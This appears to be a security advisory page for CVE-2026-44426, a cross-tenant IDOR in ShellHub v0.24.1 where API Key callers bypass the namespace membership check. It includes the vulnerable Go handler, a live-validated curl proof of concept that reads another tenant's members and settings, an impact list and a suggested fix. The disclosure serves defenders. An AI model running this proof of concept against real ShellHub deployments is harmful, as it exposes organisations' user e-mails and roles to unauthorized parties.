CVE-2026-44426: ShellHub: Cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check

Published May 7, 2026
·
Updated

## Summary `GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication. ## Affected versions ShellHub Community v0.24.1 (validated). ## Root cause `api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil: ```go var uid string if c.ID() != nil { uid = c.ID().ID } ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) } if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } } return c.JSON(http.StatusOK, ns) ``` `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`, and `X-API-KEY` for API Key authentication — never `X-ID`. So `c.Request().Header.Get("X-ID")` returns `""`, `c.ID()` returns `nil`, and the membership check is bypassed. ## Proof of concept (validated live against v0.24.1) ```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id) # Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct) # Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ``` ## Impact - Enumeration of any ShellHub namespace by tenant UUID. - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization. - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity. ## Suggested fix Two layers: 1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers: ```go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) } ```

Affected Software

2 affected componentsFixes available
go/github.com/shellhub-io/shellhub<=0.24.1
0.24.2
ShellHub ShellHub<0.24.2

Event History

May 7, 2026
Advisory Published
via GitHub·03:02 AM
Data Sourced
via GitHub·03:02 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·09:06 PM
Data Sourced
via MITRE·09:06 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-44426?

CVE-2026-44426 is considered a high severity vulnerability due to the exposure of sensitive namespace information to unauthorized users.

2

How do I fix CVE-2026-44426?

To fix CVE-2026-44426, update the affected software to version 0.24.2 or later.

3

What kind of information is exposed by CVE-2026-44426?

CVE-2026-44426 exposes the full namespace object, including member lists, settings, and device counts.

4

Who is affected by CVE-2026-44426?

Any users of the affected versions of the software utilizing an API Key for access are potentially vulnerable to CVE-2026-44426.

5

What is the nature of CVE-2026-44426?

CVE-2026-44426 is an authentication-related vulnerability that allows unauthorized access to tenant data.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203